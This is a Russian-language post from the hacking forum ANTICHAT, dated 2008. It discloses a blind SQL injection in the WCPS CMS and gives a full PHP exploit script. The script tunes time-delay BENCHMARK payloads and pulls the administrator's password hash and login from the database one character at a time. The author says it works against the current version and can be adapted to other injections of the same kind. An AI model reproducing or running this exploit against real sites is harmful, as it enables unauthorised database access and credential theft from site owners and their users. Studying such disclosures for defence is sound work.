ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

09.02.2008, 15:23
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
SQL injection WCPS v.4.3 ***
С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK...
Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит:
Код:
$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.
Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).
Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
PHP код:
<?php
/*----------------------------------------*\
Exploit for cms WCPS v 4.2.1
Blind SQL injection (use Benchmark)
Author: I-I()/Ib
\*----------------------------------------*/
//---------Основные настройки-------------//
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
//--------Дополнительные настройки--------//
$set['retfile']=false;//true-запись в файл, false-Вывод на экран
$set['retname']='return.txt';//Имя файла для вывода
//----------------------------------------//
//----------Настройки BENCHMARK-----------//
$set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
$set['pmbench']=1;//погрешность в секундах
$set['cntbch']=3;//Количество запросов для определение среднего времени ответа
$set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
//----------------------------------------//
set_time_limit(0);
ignore_user_abort(true);
function create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
global $set,$btime;
if(!$zap){
$tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
$tmp="nma=".urlencode($tmp);
}else{
$tmp=$zap;
}
$header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n";
$header.="User-Agent: 1\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Host: ".$set["host"]."\r\n\r\n";
return $header;
}
function logg($str,$type=1){
global $set;
if($set['retfile']){
$fp = fopen ($set['retname'],'a');
fwrite ($fp, $str.($type===1?"\r\n":''));
fclose ($fp);
}else{
echo($str.($type===1?"<br>\r\n":''));
flush();
}
}
$btime['sred']=5;
$btime['btime']=10;
$set['count']=0;
function send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера
global $set,$btime;
$set['count']++;
$btime['start']=time();
$dt='';
$fp=fsockopen($set['host'], 80);
fwrite($fp, $packet);
while(!feof($fp)){
$dt.=fread($fp, 1024);
}
fclose($fp);
$btime['stop']=time();
$btime['all']=$btime['stop']-$btime['start'];
if($type===1){
if($btime['all']>=$btime['sred'])return false;
else return true;
}elseif($type===2){
return $dt;
}else{
return $btime['all'];
}
}
$set['start']=time();
logg('<b>'.$set['host'].'</b>');
logg('<b>Определяем среднее время ответа сервера...</b>');
for($i=0;$i<$set['cntbch'];$i++){
$ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0);
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
$btime['bngrzk'][$i]=$ret;
}
$tmp=0;
foreach($btime['bngrzk'] as $val)$tmp+=$val;
$btime['bngrzk']=round(($tmp)/(count($btime['bngrzk'])));
logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>');
$set['timbench']+=$btime['bngrzk'];
logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.');
logg('');
$btime['oktime']=false;
$btime['bnzn']=$set['bnzn'];
logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>');
for($i=0;$i<20;$i++){
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
if($ret<($set['timbench']-$set['pmbench'])){
$tmp='Мало.';
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
if($ret===0){
$btime['bnzn']=$btime['bnzn']*$set['timbench'];
}else{
$ret=($set['timbench'])/($ret);
$btime['bnzn']=round(($btime['bnzn'])*($ret));
}
}elseif($ret>($set['timbench']+$set['pmbench'])){
$tmp='Много.';
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
$ret=($ret)/($set['timbench']);
$btime['bnzn']=round(($btime['bnzn'])/($ret));
}else{
$tmp='Подходит.';
$btime['oktime']=true;
$btime['timbench']=$ret;
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
break;
}
}
if(!$btime['oktime']){
logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.');
logg('Возможные причины:');
logg('-Уязвимость залатанна');
logg('-Неверный префикс');
logg('-Маленький диапазон погрешности');
logg('-Так сложились звезды...');
die();
}
logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.');
logg('');
logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>');
for($i=0;$i<$set['cntbch'];$i++){
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
$btime['timebench'][$i]=$ret;
}
foreach($btime['timebench'] as $val)$tmp+=$val;
$btime['timebench']=round(($tmp)/(count($btime['timebench'])));
logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>');
$btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2);
logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>');
$btime['timbench']=$btime['timebench'];
$ret='';
logg('');
logg('Все подготовительные запросы звершены');
logg('Приступаем к работе...');
logg('');
logg('<b>Выдираем хеш...</b>');
logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>');
for($i=1;$i<=32;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=48;//Код символа "0"
$maxs=103;//Код символа "f"
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
if(!send_packet(create_packet($i,$sred,$znak),1)){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>10)break;
else $i3++;
}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
$ret='';
logg('');
logg('<b>Выдираем логин...</b>');
for($i=1;$i<=32;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=256;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
if(!send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>10)break;
else $i3++;
}
if(substr_count($ret,chr(0))){
$ret=str_replace(chr(0),'',$ret);
break;
}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
$set['stop']=time();
logg('');
logg('<b>Статистика:</b>');
logg('Затраченно '.($set['stop']-$set['start']).' сек.');
logg('Всего '.($set['count']).' запросов.');
logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.');
?>
Небольшая вставка статистики работы сплоента:
Статистика:
Затраченно 778 сек.
Всего 270 запросов.
Среднее время ответа 3 сек.
При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода.
*** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.
__________________
Кто я?..
Последний раз редактировалось Grey; 12.02.2008 в 22:34..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|